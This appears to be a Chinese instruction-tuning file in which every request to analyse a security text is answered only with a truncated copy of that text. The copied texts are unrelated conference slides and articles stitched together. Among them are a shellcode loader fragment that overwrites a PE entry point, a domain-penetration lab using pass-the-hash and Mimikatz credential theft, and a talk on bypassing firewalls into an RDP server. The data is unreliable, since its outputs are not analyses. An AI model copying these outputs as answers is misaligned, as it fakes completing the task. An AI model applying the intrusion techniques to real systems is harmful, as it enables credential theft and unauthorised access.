    VirtualProtect(entryPoint, size, 0x40, &old);
    for(int i=0;i<size;i++){
        *((PBYTE)entryPoint+i) = shellcode[i];
    }
    VirtualProtect(entryPoint, size, old, &old);
｝
读取PE入口点用来写shellcode，用Windows API GetModuleHandle 可以得到PE进程的内存地址，根
据内存地址加减偏移就可以得到入口点。
我原本使用了 github.com/Binject/debug/pe 库，它里面有一个 pe.NewFileFromMemory() 函数，可
以直接从内存中读取，但是它的参数是需要一个 io 类型，文件的io自身有很多api，但是对内存的io，
资料好少。
最后找了很多资料，发现只能自己实现io的接口
但问题来了， ReadAt 接口要求我们自己读完了就返回 io.EOF ，我是从内存空间读的，我不知道什么时
候读完。
就这么纠结了好久，虽然现在写的时候想到了，我可以实现这个 ReadAt ，长度我可以生成模板的时候
硬写进去，但又感觉没必要，因为我根据PE的偏移写好了。
直接就不用它的库了，手动根据偏移去寻找入口点。
type ReaderAt interface {
    ReadAt(p []byte, off int64) (n int, err error)
}
var (
    kernel32           = syscall.NewLazyDLL("kernel32.dll")
    getModuleHandle    = kernel32.NewProc("GetModuleHandleW")
    procVirtualProtect = kernel32.NewProc("VirtualProtect")
)
func GetModuleHandle() (handle uintptr) {
    ret, _, _ := getModuleHa...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Porosity
Decompiling Ethereum Smart-Contracts
Matt Suiche (@msuiche)
Founder, Comae Technologies
m@comae.io
Whoami
 @msuiche
 Comae Technologies
 OPCDE - www.opcde.com
 First time in Vegas since BlackHat 2011
 Mainly Windows-related stuff
 CloudVolumes (VMware App Volumes)
 Memory Forensics for DFIR (Hibr2Bin, DumpIt etc.)
 “looks like such fun guy” – TheShadowBrokers
 Didn’t know much about blockchain before this project
Just so you know…
 We won’t talk about POW/POS stuff
 We won’t talk about Merkle Trees
 We won’t talk about how to becoming a crypto-currency millionaire
 We will talk about the Ethereum EVM
 We will talk about Solidity
 We will talk about smart-contract bytecodes
 And yes, the tool isn’t perfect ☺
Agenda
 Ethereum Virtual Machine (EVM)
 Memory Management
 Addresses
 Call Types
 Type Discovery
 Smart-Contract
 Code Analysis
 Known Bugs
 Future
Solidity
 Solidity the quality or state of being firm or strong in
structure.
 But also the name of Ethereum’s smart-contracts compiler
 Porosity is the quality of being porous, or full of tiny holes.
Liquids go right through things that have porosity.
 But also the name of Comae’s smart-contract decompiler.
Ethereum Virtual Machine (EVM)
 Account/Contract/Blockchain
 A Smart-Contract is made of bytecode stored in the blockchain.
 An address is a 160-bits value & corresponds to an “account”
 Operates 256-bits pseudo-registers
 EVM does not really have registers, but uses a virtual stack to replace them.
Solidity & “Smart Contracts”
 Solidity compiles JavaScript-like code into Ethereum bytecode.
contract Coin {
// The keyword "public" makes those variables
// readable from outside.
address public minter;
mapping (address => uint) public balances;
// Events allow light clients to react on
// changes efficiently.
event Sent(address from, address to, uint amount);
// This is the constructor whose code is
// run only when the contract is created.
function Coin() {
minter = msg.sender;
}
function mint(address ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bug Bounty 獎金獵人甘苦談
那些年我回報過的漏洞
orange@chroot.org
#Orange  Tsai
#CHROOT  #DEVCORE
#電競選手 #CTFer
#Web
#汪
My RCE Checklists
√ Facebook
√ Apple
√ Yahoo
√ Uber
? Google
什麼是 Bug Bounty Program ?
• 在官方所提供的規則及範圍下, 讓獨立的研究人員可自由尋找系
統漏洞, 並提供對等的獎勵
小禮物
獎金
名譽（Hall of Fame）
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
How do you turn
this on ?
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
更多的駭客！
更多的思路！
更多的漏洞！
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
公司對於安全的重視！
吸引優秀的資安高手！
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
告訴駭客們有簡單的
方法可以做好事！
有哪些企業已經有了 Bug Bounty ?
1995
2010
2011
2013
2013
2016
2014
2015
The Internet Bug Bounty
為了維護網路世界的和平
獎勵那些找出可影響整個網路世界弱點的英雄們!
Bug Bounty 成效
$6 Million
•
750+ bugs in 2015
•
300+ hackers in 2015
$4.2 Million
•
526 bugs in 2015
•
210 hackers in 2015
$1.6 Million
•
2500+ bugs since 2013
•
1800+ hackers since 2013
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
獎金？
名譽？
練功？
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
雖然今非昔比
告訴自己一定會有洞
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
常見弱點的理解
SQL Injection
Cross-Site Scripting
Cross-site Request Forgery
XML External Entity
Local File Inclusion
CSV Macro Injection
XSLT Injection
SVG/XML XSS
RPO Gadget (NOT ROP)
Subdomain Takeover
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
資訊的蒐集方法
• DNS 與 網路邊界
子域名? 相鄰域名? 內部域名?
Whois? R-Whois?
併購服務
Google 的六個月規則
• Port Scanning
Facebook Jenkins RCE by Dewhurst Security
Pornhub Memcached Unauthenticated Access by @ZephrFish
uberinternal.com ?
twttr.com ?
etonreve.com ?
資訊的蒐集方法 - 小案例
• Yahoo! Yapache
修改版本的 Apache Web Server
在當時也是創舉
資訊的蒐集方法 - 小案例
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
注意規則及允許範圍
• 規則所允許範圍
範圍外就無法嘗試嗎?
• 規則所允許限度
Instagram's Million Dollar Bug by Wesley (Awesome :P)
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
不符合規定的漏洞
• 別踏入榮譽感的誤區
• 常見不符合規定例子:
SELF XSS (需要過多使用者互動)
Information Leakage
Cookie without Secure Flag or HttpOnly
Logout CSRF
Content Injection
2014 Google VRP 回報狀況
參加 Bug Bou...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Microservices and FaaS
for Offensive Security
Ryan Baxendale
$ whoami
Ryan Baxendale
Penetration Tester
Centurion Information Security Pte Ltd - www.centurioninfosec.sg
Singapore
twitter.com/ryancancomputer
github.com/ryanbaxendale
linkedin.com/in/ryanbaxendale
AWS Lambda
Jan 2015 - AWS Lambda Preview
Open to all AWS Customers
Upload your code and trigger it to run
Scales quickly
1,000,000 code runs for free every month
Only supported node.js
lambdash: AWS Lambda Shell Hack
By Eric Hammond
https://github.com/alestic/lambdash
Run shell commands using node.js
Servers are dead...
“Serverless”
The stack
Source: https://intl.aliyun.com/forum/read-499
Microservices
Code
Real-time File Processing
https://aws.amazon.com/lambda/
Scale
https://github.com/airbnb/streamalert
StreamAlert is a serverless, realtime data
analysis framework which empowers you to
ingest, analyze, and alert on data from any
environment, using datasources and alerting
logic you define.
https://github.com/0x4D31/honeyLambda
honeyλ - a simple serverless application
designed to create and monitor URL
{honey}tokens, on top of AWS Lambda and
Amazon API Gateway
https://github.com/goadapp/goad
Goad is an AWS Lambda powered, highly
distributed, load testing tool built in Go
https://github.com/davbo/lambda-csp-report-uri
Simple python application which runs on AWS
Lambda and writes CSP reports into S3 for later
processing
https://github.com/therefromhere/csp_lambda
AWS Lambda function to store Content Security
Policy reports in ElasticSearch
Automate
https://github.com/marekq/aws-lambda-firewall
Create temporary security groups on your
EC2 instances through a simple API call. In
addition, audit your security groups easily by
the use of automated reports written to S3.
https://github.com/ilijamt/lambda_security_grou
p_manager
Auto managing your AWS security groups
with Lambda
https://github.com/johnmccuk/cloudflare-ip-security-
group-update
Lambda function to retrieve Cloudflare's IP address
list ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

域渗透从⼊入⻔门到⾃自闭
前期准备
前⾔言
本系列列在于从简单的Windows域环境搭建到利利⽤用域的特性，通过哈希传递攻击、凭证窃取技术
结合互联⽹网公布现成的安全研究⼯工具，进⾏行行域横向移动渗透，最终到达我们⽬目标，拿到ad域控
制器器权限。
实验环境设置
下⾯面列列出本次实验环境计算机跟练习中的⼀一些配置设置，均在VMWARE下完成。
我们的域名将被命名为h4x0er.org公司，因此创建域，然后将这些PC电脑加⼊入域，let’s go!
本次实验环境⼀一共有三台电脑，⼀一台AD域控制器器DC，另外两台员⼯工PC。
系统ISO下载地址: https://msdn.itellyou.cn/
Windows Server 2012(DC1)
1.修改计算机名
2.修改IP地址
3.服务器器管理理器器—⻆角⾊色—添加AD
⼀一路路下⼀一步，到服务器器⻆角⾊色选择Active Directory域服务，添加功能
继续⼀一路路下⼀一步，到指定备⽤用源选择⾃自⼰己Windows Server 2012 R2的安装光盘位置路路径，这⾥里里
我的光盘路路径是D:\source\sxs，指定完后确定，点击安装
4.安装AD域控制器器
回到我们服务器器管理理器器界⾯面，点击
添加新林林，输⼊入根域名:h4x0er.org
输⼊入⼀一个符合复杂度的密码，点击下⼀一步。
域数据存放位置
⼀一路路下⼀一步，安装。
Windows7(Admins-PC/Victims-PC)
另外两台PC配置类似
1.设置计算机名
2.设置IP地址
3.加⼊入域控
两台机器器加⼊入完域后，必须重启计算机。
4.关闭防⽕火墙
重启完电脑后，把所有防⽕火墙关闭
现在所有的电脑都加⼊入了了域，接下来我们添加⼀一些账号跟组到域环境当中。
域账号设置
在本次实验练习当中，你将看到helpdesk帮助台和域管理理员之间进⾏行行分离，但其实并没有什什么
⽤用，不不⾜足以防⽌止凭证窃取。让我们创建⼀一个helpdesk组作为安全组进⾏行行分离。
组名
成员
描述
Helpdesk
PonyM
⽤用于管理理h4x0er.org域客户端
开始菜单->运⾏行行>dsa.msc->容器器Users->右击新建->点击组->输⼊入组名HelpDesk->确定
或直接在域控服务器器下以administrator权限输⼊入命令
net group HelpDesk /add /domain
进⾏行行创建安全组HelpDesk
让我们在域中创建三个⽤用户
姓名
登录账号
描述
登录机器器
Jack Ma
JackM
悔悔创阿⾥里里Jack⻢马，是遭受钓⻥鱼
邮件的受害者
VICTIMS-PC
依次按照以下步骤重复新建3个⽤用户Jackma/Ponyma/RobinLi-
Pony Ma
PonyM
普通家庭Pony⻢马，是IT部⻔门⼈人
员，同时也是”Helpdesk”安全
组的成员。
VICTIMS-PC
ADMINS-PC
Robin Li
RobinL
再赢⼀一次Robin 李李，是域管理理
员。
ADMINS-PC
AD域控制器器
以及添加Robin Li到域管理理员
或直接在域控服务器器下以administrator权限输⼊入命令
net user JackM password123!@# /add /domain
net user PonyM password456!@# /add /domain
net user RobinL password789!@# /add /domain
net group “Domain Adminis” RobinL /add /domain
最后创建了了三个账号以及⼀一个安全组
对了了别忘记把Pony Ma加⼊入HelpDesk安全组
右击Pony Ma属性->⾪隶属于->添加->HelpDesk->确定
或直接在域控服务器器下以administrator权限输⼊入命令
net group helpdesk PonyM /add /domain
我们的域管理理员Robin Li⽇日常使⽤用ADMINS-PC。
其中Helpdesk（Pony Ma是其中⼀一员）可以管理理ADMINS-PC的计算机。
搜索对应组
输⼊入域账号密码，确定
接着Jack Ma以及HelpDesk将被添加到他的个⼈人终端电脑（VICTIMS-PC）管理理员权限
本次实验⼯工具
1.
将在VICTIMS-PC电脑上安装以下⼯工具，⽂文件存储于C:\Tools
●
Mimikatz: https://github.com/gentilkiwi/mimikatz/releases
●
PowerSploit: https://github.com/PowerShellMaﬁa...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bypass firewalls, application
white lists, secure remote
desktops in 20 seconds
Zoltan Balazs
DEF CON 22, 2014
Hungary
root@bt:~# whoami
Zoltán Balázs
root@bt:~# whoami
root@bt:~# whoami
AV testing
AV bypass
root@bt:~# whoami
OSCP: Occasional Satire Captain Punk
CISSP: Certified Interspecie-ial Sheep Shearing Professional
CPTS: Certified Pajama Toaster Specialist
MCP: Microsoft Certified Psychopath
OSWP: Official Sexiest Weasel Popstar
CHFI: Chronic Hopeless Flux Incompetent
I’m NOT a CEH
CyberLympics@2012 CTF
2nd runners up – gula.sh
Creator of the Zombie Browser Toolkit
https://github.com/Z6543/ZombieBrowserPack
I love hacking
How do you hack high security
systems?
How do you hack high security
systems when you are not Tom Cruise?
The mission
I’m a spy
I want access to a hardened secure RDP (remote
desktop) server
E.g. server contains confidential documents
I need persistent C&C access to the RDP server
To upload/download files
Interactive remote code execution
The solution (in an ideal world)
Infected
workstation
Secure remote
desktop server
1. Infect client’s
desktop
2. Steal RDP password
3. Connect to RDP
4. Drop malware
5. Command and Control
6. Profit
The challenges
RDP server is not reachable from the Internet
Directly …
Two factor authentication is used to access the RDP server
No access to the token seeds ;)
Drive mapping disabled – no direct file copy
Restricted hardware firewall
Allows workstation -> server TCP port 3389 IPv4 only
Application white list is used on the RDP server
M$ Applocker in my case with default policy
Firewall, port 3389 allowed only
Is this realistic?
Similar environment at a client
•Had no time to hack it
Infected
workstation
Secure remote
desktop server
Target
Company
The Internet
Attacker
Firewall, port 3389 allowed only
“In hacking, there is no such thing
as impossible.
Only things that are more
challenging.”
Already achieved
I have remote code execution with C&C on a user’s
workstation
I have access to a test RD...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

《软件调试》补编
- 1 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
《软件调试》补编
作者：张银奎
2009 年 1 月 12 日
《软件调试》补编
- 2 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
大多数程序员的技术水平不如黑客的主要原因是他们远远不如黑客
那样重视和擅于使用调试技术。
《软件调试》补编
- 3 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
前    言
总的来说，今天的软件很糟糕，而且一段时期内还会继续变得更糟。原因有
很多，关键的是错误观念大行其道，聊举数例。
“写代码很容易，不需要那么资深的人”，于是乎软件白领变蓝领了，蓝领
还是大材小用，“软件民工刚刚好，性价比最高。”
“我从来不调试我的程序，运行一下没有错误就可以了。”这是为什么使用
调试器来看时，很多软件有那么多明晃晃的问题。
“XXX 很快呀”，还可以用它来写操作系统呢？！当我启动一个应用程序需
要 5 秒钟以上时，看着硬盘的灯疯狂的闪动，我恨不得快点把它从我的系统中删
掉。
“抓 BUG 完全是程序员自己的事。”那么项目延迟了还是程序员自己的事
么？
“今天的硬盘空间大，CPU 速度快，内存条便宜，软件大一些，多用些资
源没关系。”
事实上，没有简单的软件，无论是上层的应用程序，还是下层的驱动或者系
统程序。
软件的特征决定了软件天生就需要像绣花那样精工细作。软件是给 CPU 来
运行的，让高速的 CPU 在软件编排的指令流上奔跑可谓是系千钧于一发。糟糕
的软件在浪费能源、也在浪费时间，如果套用鲁迅先生说的话，那么糟糕的软件
每天都在图财害命。
如何才能让软件变得很精细，准确无误呢？不仔细看一看可以做到么？
有些软件可以工作，但是有时会出问题，糟糕的是，出了问题后没有什么办
法来寻找原因。在 XXX 做了一年多的开发之后，对此深有体会，一次我向在
XXX 上工作多年的一个朋友询问：“在 XXX 上调试主要靠什么方法呢？”他的
回答颇令人回味：“靠想！”
“使劲想，然后加些 PRINT，逐步缩小范围…….”
多么好的程序员呀！
老雷
2009 年元月
《软件调试》补编
- 4 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
《软件调试》书友活动获奖名单
整理和发布这份补编的主要目的是赠送给参加“2008《软件调试》以书会友”
活动的朋友们。这次活动从 2008 年 6 月 1 日开始，截止日期为 2008 年 12 月 31
日。从 6 月 11 日 Neilshu 第一个参与，到 12 月 31 日的 23 点 47 分 Vito1997 参
与，共有 22 位朋友参加了这次活动，收到照片大约 100 幅。
参与这次活动的 22 位朋友是：
Casechen
Ccl
ckj1234
Coding
Dbgsun
Flyingdancex
grant_fei2003@hotmail.com
hnsy777
KernelPanic
Mabel
Mybios
Neilhsu
Nightxie
Pch
s5689412
shamexln
speedingboy
turboc
Vito1997
WANGyu
xszhou1997
yfliu
经过博文视点的周老师和《软件调试》这本书的编辑团队以及作者的认真评
比，获奖结果如下：
一等奖
一等奖
一等奖
一等奖一名
一名
一名
一名：
：
：
：Neilhsu
奖品为《奔腾 4 全录：IA32 处理器宗谱》（The Unabridged Pentium 4: IA32
Processor Genealogy）作者签名英文原版
二等奖
二等奖
二等奖
二等奖两名
两名
两名
两名：
：
：
：mybios 和
和
和
和 nightxie
奖品为《深入解析 Windows 操作系统 第 4 版》
三等奖
三等奖
三等奖
三等奖三名
三名
三名
三名：
：
：
：yfliu、
、
、
、WANGyu 和
和
和
和 shamexln
奖品为《Windows 用户态程序高效排错》
所有参加活动的朋友都获得纪念奖，奖品是电子版本的《<软件调试>补编》。
衷心感谢参加这次活动的所有朋友，愿我们的友谊永驻！
《软件调试》补编
- 5 –
Copyright © 2009 ADVDBG.ORG All Rights Reserved
目    录
补编内容 1 错误...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Protecting Data with Short-
Lived Encryption Keys and
Hardware Root of Trust
Dan Griffin
DefCon 2013
Time-Bound Keys
Announcements
• New tool: TimedKey.exe
• New whitepaper: Trusted Tamperproof
Time on Mobile Devices
• Check out http://www.jwsecure.com/dan
What does the NSA think?
• The NSA has been public about:
– Inevitability of mobile computing
– Need to support cloud-based services
– Even for use with secret data in the field
• What works for them can work for you
How does the cloud know…
• Who you are?
• Where you are?
• Is your computer acting on your behalf?
Device Integrity
• A device is silicon
• It might be pretending to be me
• It might be pretending to be you
• Define device integrity to be “truth telling”
– Is the device faithfully asserting delegation?
– Is it faithfully representing the user’s intent?
Current Technology Landscape
• Why are mobile devices less secure?
– Inconvenience of good passwords
– Current  antivirus is not up to the task
– User-owned (BYOD/consumerization trends)
• But mobile devices do have security features
– Screen lock
– Secure storage
– TrustZone & Trusted Execution Environment
– Trusted Platform Module
Mobile Vulnerabilities
• Rootkits got harder, bad apps got much
easier
• Mobile threat landscape:
– Easy to steal the device
– Easy to steal services
– Easy to install apps that steal data
– Even remote eavesdropping
What is needed to be secure?
• Encrypt user data
• Sandbox apps
• Secure, measured boot (TPM)
• Remote platform attestation
How to use a hardware root of trust
• Device receives TPM-bound token
– Sends token to relying party to prove status
– Token can carry decryption key as well
• If device is measured to be insecure
– The good guys win!
– Need to reset machine to clean it
What is Remote Attestation?
• Remote attestation is enabled by the TPM
– Can a server know the truth about the client?
– Use root of trust to measure boot chain and
configuration
• Remote attestation is a means to the truth
– The TPM ...